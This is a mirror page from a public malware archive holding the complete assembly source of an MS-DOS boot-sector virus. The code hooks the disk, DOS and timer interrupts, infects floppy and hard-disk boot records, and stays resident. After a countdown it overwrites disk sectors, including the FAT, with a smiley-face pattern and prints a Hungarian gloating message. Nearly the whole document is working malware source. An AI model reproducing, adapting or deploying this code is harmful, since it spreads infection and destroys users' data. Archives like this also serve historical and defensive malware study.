13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.virusa.asm
2021-01-12 18:07:35 -06:00

1204 lines
18 KiB
NASM
Raw Blame History

start segment
assume cs:start,ds:start
org 100h
boot equ 0f00h
kezd: db 52h,24h
jmp hideg
nop
jmp meleg
nop
jmp tamad
veg1: dw 0
kezd1: dw 0
meleg: pop si
pop ds
pop [si]
pop [si+2]
mov si,boot
mov di,7c00h
push cs
pop ds
xor ax,ax
mov es,ax
mov cx,100h
pushf
cld
rep movsw
popf
ok1: db 0eah,00,7ch,0,0
hideg: xor ax,ax
push si
push di
push cx
cld
mov di,offset flag1
mov si,offset flagv
awq: stosb
cmp di,si
jc awq
pop cx
pop di
pop si
mov es,ax
mov ax,es:word ptr [4ch]
mov cs:word ptr [int13+1],ax
mov ax,es:word ptr [4eh]
mov cs:word ptr [int13+3],ax
mov ax,offset it13
mov es:word ptr [4ch],ax
mov es:[4eh],cs
mov ax,es:word ptr [84h]
mov cs:word ptr [int21+1],ax
mov ax,es:word ptr [86h]
mov cs:word ptr [int21+3],ax
mov ax,0f000h
mov es,ax
mov al,es:byte ptr[0fff0h]
cmp al,0eah
jnz meleg
mov ax,es:word ptr[0fff1h]
mov cs:word ptr [reset+1],ax
mov ax,es:word ptr[0fff3h]
mov cs:word ptr [reset+3],ax
jmp meleg
int13: db 0eah,0,0,0,0
int21: db 0eah,0,0,0,0
int40: db 0eah,0,0,0,0
flag1: db 0
flag2: db 0
flag3: db 0
flag4: dw 0
flag5: db 0
flagv db 0
egys: db 0
sub13: cmp dl,0
jz sub40
visx: pushf
push cs
mov dl,cs:byte ptr [egys]
call int13
ret
sub40: push ax
mov al,cs:byte ptr [flag5]
cmp al,80
pop ax
jmp visx
pushf
push cs
call int40
ret
subru: push ax
push cx
push dx
push ds
xor ax,ax
mov ds,ax
mov ax,ds:word ptr [78h]
mov cs:word ptr [int1e],ax
mov ax,ds:word ptr [7ah]
mov cs:word ptr [int1e+2],ax
mov al,cs:byte ptr [sav]
cmp al,28h
jz dds
mov bx,offset hdtbl
jmp hds
dds: mov bx,offset dstbl
mov cx,offset tb360
jmp okea
hds: mov ax,cs:word ptr [szekt]
mov cx,offset tb12
cmp ax,0fh
jz okea
mov cx,offset tb720
cmp ax,9
jz okea
mov cx,offset tb14
okea: mov ds:word ptr [78h],cx
mov ds:word ptr [7ah],cs
pop ds
pop dx
pop cx
pop ax
call sub13
push ax
push cx
push dx
push ds
pushf
xor ax,ax
mov ds,ax
mov ax,cs:word ptr [int1e]
mov ds:word ptr [78h],ax
mov ax,cs:word ptr [int1e+2]
mov ds:word ptr [7ah],ax
popf
pop ds
pop dx
pop cx
pop ax
ret
sub21: pushf
push cs
call int21
ret
it21: cmp ah,3dh
jnz fu3e
push bx
push cx
push ax
push dx
push es
push ds
mov bx,dx
cikl1: mov al,[bx]
cmp al,0
jz veg
inc bx
jmp cikl1
veg: push si
mov si,offset nev
dec bx
dec si
mov cx,11
cikl2: mov al,[bx]
or al,20h
cmp al,cs:[si]
jz nem4
jmp nem1
nem4: dec si
dec bx
loop cikl2
pop si
pop ds
pop es
pop dx
pop ax
pop cx
pop bx
call sub21
jnc igen1
retf 2
igen1: mov cs:word ptr [flag4],ax
nem2: clc
retf 2
fu3e: cmp ah,3eh
jz aah
jmp int21
aah: cmp bx,cs:word ptr [flag4]
jz folyt8
jmp int21
folyt8: cmp cs:word ptr [flag4],0
jnz folyt9
jmp int21
folyt9: mov cs:word ptr [flag4],0
call sub21
push ds
push es
push ax
push bx
push cx
push dx
mov cs:byte ptr [fo],0
ujfo: mov bx,200h
mov ah,48h
call sub21
cmp bx,200h
jnc fogl
nem3: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
retf 2
fo: db 0
fogl: push ax
and ax,0fffh
cmp ax,0db0h
jc okes1
pop ax
cmp cs:byte ptr [fo],3
jz nem3
inc cs:byte ptr [fo]
jmp ujfo
okes1: pop ax
okes: mov es,ax
mov cs:word ptr [szegm],ax
mov si,0
mov di,0
mov cx,1000h
push cs
pop ds
pushf
cld
rep movsw
popf
xor ax,ax
mov ds,ax
mov ax,0
mov ds,ax
mov ax,offset it21
mov dx,cs
mov bx,0
mov cx,0fff0h
tovabb: call keres
jnz nincs
push ax
mov ax,cs:word ptr [int21+1]
mov ds:word ptr [bx],ax
mov ax,cs:word ptr [int21+3]
mov ds:word ptr [bx+2],ax
pop ax
jmp tovabb
reset: db 0eah,0f0h,0ffh,0,0f0h
nincs: mov ax,offset it13
mov dx,cs
mov bx,0
mov cx,0fff0h
tovab1: call keres
jnz kil2
push ax
mov ax,es
mov ds:word ptr [bx+2],ax
pop ax
jmp tovab1
kil2: mov ax,0
mov ds,ax
mov ax,ds:word ptr [100h]
mov es:word ptr [int40+1],ax
mov ax,ds:word ptr [102h]
mov es:word ptr [int40+3],ax
call beszur
mov ax,offset it40
jmp nem3
mov ds:word ptr [100h],ax
mov ax,es
mov ds:word ptr [102h],ax
mov es:byte ptr [flag5],80
jmp nem3
keres: push ax
push dx
ker1: cmp word ptr[bx],ax
jz van1
nincs1: inc bx
loop ker1
inc cx
kil1: pop dx
pop ax
ret
van1: cmp word ptr [bx+2],dx
jnz nincs1
jmp kil1
nem1: pop si
pop ds
pop es
pop dx
pop ax
pop cx
pop bx
jmp int21
db 'command.com'
nev: db 0
it13: push bx
push ax
push cx
push dx
push es
push ds
push di
push si
push cs
pop ds
push cx
push ax
push dx
mov bx,offset atir
mov cx,2
erdf: call ftr
jc poiu
loop erdf
jmp reset
ftr: mov al,90h
clc
mov [bx],al
atir: stc
nop
nop
nop
nop
nop
nop
nop
mov al,0f9h
mov [bx],al
ret
poiu: pop dx
pop ax
pop cx
cmp cs:byte ptr [mod1],1
jnz awsw
jmp leol
awsw: mov cs:byte ptr [egys],dl
cmp ah,2
jc aab
cmp ah,4
jnc aab
cmp cx,3
jnc aab
cmp dh,0
jnz aab
mov cs:byte ptr [flag3],80h
aab: mov al,cs:byte ptr [flag1]
cmp al,80h
jz ugr1
xor ax,ax
mov es,ax
mov ax,es:word ptr [84h]
cmp ax,cs:word ptr [int21+1]
jz tov1
jmp dos
tov1: mov ax,es:word ptr [86h]
cmp ax,cs:word ptr [int21+3]
jz ugr1
jmp dos
ugr1: cmp di,55aah
jnz norm
cmp si,5aa5h
jnz norm
pop si
mov si,0a55ah
push si
norm: cmp dl,20h
jc lemeza
cmp dl,80h
jz win
fdg: jmp kilep
win: jmp wincsi
it40: jmp int40
lemeza: mov al,cs:byte ptr [flag3]
cmp al,80h
jz lcsere
cmp ah,5
jnz haha1
haha2: mov cs:byte ptr [flag3],84h
jmp haha
haha1: cmp al,0
jz haha
dec cs:byte ptr [flag3]
haha: jmp kilepo
hah1: call sub13
jnc viter1
idt: cmp ah,6
jnz viter
mov cs:byte ptr [flag3],80h
viter: stc
viter1: retf 2
lcsere: mov cs:byte ptr [flag2],0
cmp ah,5
jz haha2
mov cx,3
cikl7: push cx
mov cs:byte ptr [flag3],0
mov bx,boot+200h
mov ax,201h
mov cx,1
mov dx,0
push cs
pop es
call sub13
pop cx
jnc ugr4
loop cikl7
jmp kilep
ugr4: push cs
pop ds
mov bx,boot+200h
mov cx,200h
mov ax,0cdfbh
mov dx,7213h
call keres
jz folyt1
jmp kilep
folyt1: mov cs:byte ptr [fert],1
mov ax,[bx+5]
cmp ax,12cdh
mov cs:word ptr [cime],bx
mov cs:word ptr[wax],308h
jz foi
jmp folyt2
foi: mov al,cs:[bx+5+offset ver1-offset kezd2]
cmp al,23
jnz meh
mov ax,cs:[bx+6+offset ver1-offset kezd2]
cmp ax,word ptr ver1+1
jnc kilepo
meh: mov cs:word ptr [wax],307h
jmp folyt2
fert: db 0,0
kilepo: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop ax
pop bx
cmp dh,0
jz ugs
jmp hah1
ugs: cmp cx,1
jz bout1
jmp hah1
bout1: cmp ah,2
jz bout
cmp ah,3
jz save
jmp hah1
bout: call sub13
jnc ada
jmp idt
ada: cmp cs:byte ptr [flag1],80h
jz ase
jmp hah1
ase: push si
pushf
mov si,offset bot1
call ase1
popf
pop si
jmp viter1
save: cmp cs:byte ptr [fert],1
jz save2
jmp kif
save2: mov cs:byte ptr [fert],0
push bx
push ax
push cx
push dx
push es
push ds
push di
push si
push es
pop ds
push cs
pop es
mov cx,200h
mov si,bx
mov di,offset boot+200h
rep movsb
jmp folyt3
kif: pop bx
pop cx
pop cx
pop dx
pop es
pop ds
pop di
pop si
clc
jmp viter1
ase1: push bx
push ax
push cx
push dx
push di
push ds
push cs
pop ds
mov ax,cs:word ptr [cime]
and ax,0ffh
add bx,ax
mov di,bx
mov cx,59h
pushf
cld
rep movsb
popf
pop ds
pop di
pop dx
pop cx
pop ax
pop bx
clc
ret
folyt2: mov bx,boot+200h
mov ax,301h
mov cx,1
mov dx,0
push cs
pop es
call sub13
jnc folyt3
jmp kilep
folyt3: push cs
pop ds
mov bx,boot+200h
mov ax,[bx+18h]
mov cs:word ptr [szekt],ax
mov cx,[bx+1ah]
mul cx
mov cx,ax
mov ax,[bx+13h]
mov dx,0
div cx
mov cs:byte ptr [sav],al
mov ch,al
mov al,1
ugr3: nop
mov cl,5
mov ah,5
push cs
pop es
mov dx,0
push cx
cmp cs:word ptr [wax],307h
clc
jz waxi
cmp cs:byte ptr [fert],0
clc
jz waxi
call subru
waxi: push ds
push ax
pop ax
pop ds
pop cx
jnc jo4
jmp kilep
sav: db 0
wax: dw 0
szekt: dw 0
jo4: mov si,boot+200h
mov di,boot
push cs
pop ds
push cx
mov cx,100h
pushf
cld
rep movsw
popf
pop cx
push cx
mov ax,cs:word ptr [wax]
mov dx,0
mov cl,1
mov bx,100h
cmp cs:byte ptr [fert],0
clc
jz hoho
call sub13
hoho: pop cx
jnc jo2
jmp kilep
jo2: push cs
pop ds
push cx
mov bx,boot+200h
mov ax,0cdfbh
mov dx,7213h
mov cx,200h
call keres
pop cx
jz jo3
jmp kilep
jo3: push bx
push cx
mov cx,100h
mov ax,0e432h
mov dx,16cdh
call keres
jz jo5
pop cx
pop bx
jmp kilep
jo5: sub bx,6
mov cs:word ptr [veg1],bx
pop cx
pop bx
add bx,5
mov cs:word ptr [kezd1],bx
mov cs:byte ptr [fej+2],ch
push cx
mov si,offset kezd2
mov bx,cs:word ptr [kezd1]
mov cx,offset veg2-offset kezd2
push cs
pop ds
cikl9: mov al,[si]
mov [bx],al
inc bx
inc si
loop cikl9
cikl10: mov ds:byte ptr [bx],90h
inc bx
cmp bx,cs:word ptr [veg1]
jc cikl10
pop cx
mov cx,3
wqe: push cx
mov cx,1
mov dx,0
mov ax,301h
mov bx,boot+200h
push cs
pop es
call sub13
jc kikk
pop cx
cmp cs:byte ptr [fert],0
jnz kig
jmp kif
kig: jmp kilepo
kikk: pop cx
loop wqe
jmp kilep
dos: nop
mov al,80h
mov cs:byte ptr [flag1],al
mov ax,es:word ptr [84h]
mov cs:word ptr [int21+1],ax
mov ax,es:word ptr [86h]
mov cs:word ptr [int21+3],ax
mov ax,offset it21
mov es:word ptr [84h],ax
mov es:[86h],cs
kilep: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop ax
pop bx
jmp int13
tamad: push cs
pop ds
mov cs:word ptr [szama],28800
xor ax,ax
push si
push di
push cx
cld
mov di,offset flag1
mov si,offset flagv
alsk: stosb
cmp di,si
jc alsk
pop cx
pop di
pop si
mov es,ax
mov cs:byte ptr[flag1],80h
mov ax,es:word ptr [4ch]
mov cs:word ptr [int13+1],ax
mov ax,es:word ptr [4eh]
mov cs:word ptr [int13+3],ax
mov ax,offset it13
mov es:word ptr[4ch],ax
mov es:word ptr[4eh],cs
mov ax,201h
mov bx,offset boot+400h
push cs
pop es
mov dx,180h
mov cx,1
int 13h
mov ax,0
mov es,ax
mov ax,cs:word ptr [int13+1]
mov es:word ptr[4ch],ax
mov ax,cs:word ptr [int13+3]
mov es:word ptr[4eh],ax
mov ax,0f000h
mov es,ax
mov al,es:byte ptr [0fff0h]
cmp al,0eah
jnz akdj
mov ax,es:word ptr [0fff1h]
mov cs:word ptr [reset+1],ax
mov ax,es:word ptr [0fff3h]
mov cs:word ptr [reset+3],ax
akdj: retf
kezd2: int 12h
mov bx,40h
mul bx
sub ax,1000h
mov es,ax
mov dx,0
jmp fej
ver1: db 23,0,6
fej: mov cx,2801h
mov ax,208h
mov bx,100h
push bx
cmp es:word ptr [bx],2452h
jz el1
int 13h
pop bx
jc veg2
push es
mov ax,102h
el2: push ax
retf
el1: mov bx,0f00h
mov al,1
mov cl,8
int 13h
pop bx
jc veg2
push es
mov ax,105h
jmp el2
veg2: nop
nop
wincsi: jmp aba
aasw: mov al,cs:byte ptr [flag2]
cmp al,80h
jz cxz
jmp kilep
cxz: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop ax
pop bx
cmp ch,0
jz acb
jmp abbb
acb: cmp cl,0ah
jc acd
jmp abbb
acd: cmp dh,0
jz ace
jmp abbb
ace: cmp ah,3
jnz abe
mov cs:byte ptr [flag2],0
abb: push ax
push bx
push cx
push dx
mov dx,80h
mov ax,201h
mov cx,9
mov bx,offset boot+200h
push es
push cs
pop es
mov dx,80h
call sub13
jc aca
mov ax,301h
mov cx,1
mov dx,80h
mov bx,offset boot+200h
call sub13
aca: pop es
pop dx
pop cx
pop bx
pop ax
abbb: call sub13
jmp viter1
abe: cmp ah,2
jnz abbb
push di
push cx
push dx
push bx
push ax
push ax
mov ah,0
mov di,ax
pop ax
abj: push cx
cmp cl,1
jnz abh
mov cl,9
jmp abi
abh: mov cx,0ah
abi: push bx
push di
mov al,1
push es
mov ah,2
call sub13
pop es
pop di
pop bx
pop cx
jc abk
add bx,200h
mov cl,2
dec di
jnz abj
pop ax
mov ah,0
pop bx
pop dx
pop cx
pop di
clc
jmp viter1
abk: pop bx
pop bx
pop dx
pop cx
pop di
mov al,0
jmp viter1
aba: mov al,cs:byte ptr [flag2]
cmp al,80h
jnz abc
jmp aasw
abc: cmp al,40h
jnz abw
jmp aasw
abw: mov cx,3
ckld: push cx
mov dx,80h
mov cx,1
mov bx,offset boot
mov ax,201h
push cs
pop es
call sub13
pop cx
jnc abdq
loop ckld
kias: jmp aasw
abdq: mov dx,180h
mov cx,1
mov bx,offset boot+200h
mov ax,201h
push cs
pop es
call sub13
jc kias
mov bx,offset boot+200h
mov ax,cs:[bx+1feh]
cmp ax,0aa55h
jz abd
mov cs:byte ptr [flag2],40h
jmp kias
abd: push cs
pop ds
mov cx,3
mov bx,offset boot
mov si,offset kezd3
kere: mov al,[bx]
cmp al,[si]
jnz nem9
inc bx
inc si
loop kere
sub bx,3
add bx,offset ver2-kezd3
mov al,[bx]
cmp al,23
jnz nemq
mov ax,[si+offset ver2-offset kezd3]
cmp ax,[bx+1]
jc nemr
nemq: mov ax,307h
jmp nemw
nemr: mov cs:byte ptr [flag2],80h
jmp aasw
nem9: mov ax,308h
nemw: mov dx,80h
mov cx,2
mov bx,100h
call sub13
jnc oby
jmp aasw
oby: mov si,offset kezd3
mov cx,offset veg3-offset kezd3
mov di,offset boot
pushf
cld
rep movsb
popf
mov ax,301h
mov dx,80h
mov cx,01h
mov bx,offset boot
call sub13
mov cs:byte ptr [flag2],80h
jmp aasw
kezd3: int 12h
mov bx,40h
mul bx
sub ax,1000h
mov es,ax
xor ax,ax
jmp ugas
ver2: db 23,0,6
ugas: mov ss,ax
mov sp,7c00h
mov dx,80h
mov cx,02h
mov ax,208h
mov bx,100h
push bx
cmp es:word ptr [bx],2452h
jz el11
int 13h
pop bx
jc vege
push es
mov ax,102h
el21: push ax
retf
el11: mov bx,0f00h
mov al,1
mov cl,9
int 13h
pop bx
jc vege
push es
mov ax,105h
jmp el21
vege: jmp vege ;szoveg kiiratasa
veg3: nop
nop
cime: dw 0
bot1: sti
int 13h
db 72h,67h
mov al,ds:[7c10h]
cbw
mul ds:word ptr [7c16h]
add ax,ds:[7c1ch]
add ax,ds:[7c0eh]
mov ds:[7c3fh],ax
mov ds:[7c37h],ax
mov ax,20h
mul ds:word ptr [7c11h]
mov bx,ds:[7c0bh]
add ax,bx
dec ax
div bx
add ds:[7c37h],ax
mov bx,0500h
mov ax,ds:[7c3fh]
db 0e8h,09fh,0
mov ax,201h
db 0e8h,0b3h,0,72h,19h
mov di,bx
mov cx,0bh
mov si,7dd6h
repz cmpsb
db 75h,0dh
lea di,ds:[bx+20h]
mov si,7d1eh
mov cx,0bh
repz movsb
db 74h,18h
db 0,0,0,0,0,0,0,0,0,0,0,0
tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4
tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5
tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3
tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7
int1e: dw 0,0,0,0,0,0,0,0
hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2
db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2
dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2
mod2: db 0
mod1: db 0
beszur: push ax
push bx
push cx
push dx
push es
push ds
push di
push si
mov ax,201h
mov cx,0ah
mov bx,offset boot
mov dx,80h
push cs
pop es
pushf
push cs
call int13
mov es,cs:word ptr [szegm]
mov es:word ptr [mod2],0
jc hib
mov ax,cs:word ptr [boot]
cmp al,23h
jnz hib
mov es:byte ptr [mod2],ah
jmp hib
hib: mov es,cs:word ptr[szegm]
mov bx,offset kiiras
mov cx,offset kiirv-offset kiiras
mov al,es:[bx]
cmp al,20h
jnz hib1
cijk: mov al,es:[bx]
xor al,45h
mov es:[bx],al
inc bx
loop cijk
hib1: mov ch,25h
mov ah,4
int 1ah
jc friss
cmp cl,89h
jc friss
cmp ch,25h
jz bete
cmp dh,7
jnc bete
jmp nbete
friss: mov al,54h
out 43h,al
mov al,0ffh
out 41h,al
jmp nbete
bete: cmp es:byte ptr [mod2],2
jz nbete
mov ax,0
mov ds,cs:word ptr [szegm]
mov es,ax
mov ax,es:word ptr[70h]
mov ds:word ptr [tim+1],ax
mov ax,es:word ptr[72h]
mov ds:word ptr [tim+3],ax
mov ax,offset timer
mov es:word ptr [70h],ax
mov ax,cs:word ptr [szegm]
mov es:word ptr [72h],ds
nbete: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
szegm: dw 0,0
tim: db 0eah,0,0,0,0,0
szama: dw 28800
timer: pushf
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov cx,2
mov bx,offset atir
mov al,cs:[bx]
cmp al,90h
jnz rwt
jmp reset
rwt: call ftr
jc rwe
loop rwt
jmp reset
rwe: pop ds
mov ax,cs:word ptr [szama]
dec ax
kii: mov cs:word ptr [szama],ax
jz gyilk1
pop dx
pop cx
pop bx
pop ax
popf
jmp tim
gyilk1: mov ax,28800
mov cs:byte ptr [mod1],1
inc ax
jmp kii
leol: mov bx,offset kiiras
mov cx,offset kiirv-offset kiiras
mov al,cs:[bx]
cmp al,20h
jz leol1
adla: mov al,cs:[bx]
xor al,45h
mov cs:[bx],al
inc bx
loop adla
leol1: push cs
pop ds
cmp cs:byte ptr [mod2],1
jz atu
irtas: mov si,offset graf
mov di,offset boot
mov cx,128
mov dl,4*9
push cs
pop es
push cs
pop ds
cld
cvgh: rep movsb
sub si,128
mov cx,128
dec dl
jnz cvgh
mov dx,180h
mov ax,309h
mov cx,2
mov bx,offset boot
pushf
push cs
call int13
mov dx,280h
mov ax,309h
mov cx,2
mov bx,offset boot
pushf
push cs
call int13
mov dx,0
mov ax,309h
mov cx,1
mov bx,offset boot
pushf
push cs
call int13
atu: mov si,offset kiiras
mov al,2
mov ah,0
int 10h
awqt: mov al,cs:[si]
cmp al,0
jz kie
mov ah,0eh
mov bx,0
push si
int 10h
pop si
inc si
jmp awqt
kie: cli
hlt
jmp kie
kiiras: db ' Haha,v<>rus van a g<>pben!!',0dh,0ah,'Ez egy eddig m<>g nem k<>zismert v<>rus. De hamarosan az lesz.'
db 0dh,0ah,'A neve egyszer<65>en t<>lt<6C>get<65> ',0dh,0ah,'Ezt a nev<65>t onnan kapta, hogy'
db ' felt<6C>lt<6C>geti a FAT-t<>bl<62>t k<>l<EFBFBD>nb<6E>z<EFBFBD> alakzatokkal.',0dh,0ah
db 'Ez m<>r meg is t<>rt<72>nt !!! ',0dh,0ah,0,0
graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32
db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01
db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01
db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32
db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32
kiirv: db 0
start ends
end